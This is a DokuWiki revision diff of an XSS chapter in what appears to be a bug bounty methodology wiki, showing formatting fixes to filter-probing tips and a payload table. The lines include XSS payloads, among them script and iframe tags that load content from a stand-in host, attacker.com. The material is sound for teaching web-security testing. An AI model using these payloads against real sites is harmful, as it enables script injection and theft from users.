User Tools

Site Tools


tbhm:05_xss

Differences

This shows you the differences between two versions of the page.

Link to this comparison view

Both sides previous revisionPrevious revision
tbhm:05_xss [2026/05/14 10:36] – fix bbc ch6 xss formatting -- correct dokuwiki table syntax drewtbhm:05_xss [2026/05/14 10:42] (current) – fix // in inline code breaking italic parser drew
Line 61: Line 61:
  
   * How are non-malicious tags handled? ''<h2>'', ''<b>''   * How are non-malicious tags handled? ''<h2>'', ''<b>''
-  * Incomplete tags? ''<iframe src=//attacker.com/c=''+  * Incomplete tags? <nowiki><iframe src=//attacker.com/c=</nowiki>
   * Encodings? ''<%00h2>'', ''%0d'', ''%0a'', ''%09''   * Encodings? ''<%00h2>'', ''%0d'', ''%0a'', ''%09''
   * Hardcoded blacklist? Does ''</script/x>'' work? ''<ScRiPt>''?   * Hardcoded blacklist? Does ''</script/x>'' work? ''<ScRiPt>''?
Line 161: Line 161:
 | ''<script>alert(1)<!-'' | Comments out remainder of line | | ''<script>alert(1)<!-'' | Comments out remainder of line |
 | ''<a onmouseover="alert(1)">test</a>'' | Fires on hover | | ''<a onmouseover="alert(1)">test</a>'' | Fires on hover |
-| ''<script src=//attacker.com/test.js>'' | Loads external script |+| ''<script src=attacker.com/test.js>'' | Loads external script |
  
 XSS polyglot (fires across img, script, p contexts): XSS polyglot (fires across img, script, p contexts):
tbhm/05_xss.1778751416.txt.gz · Last modified: by drew

Donate Powered by PHP Valid HTML5 Valid CSS Driven by DokuWiki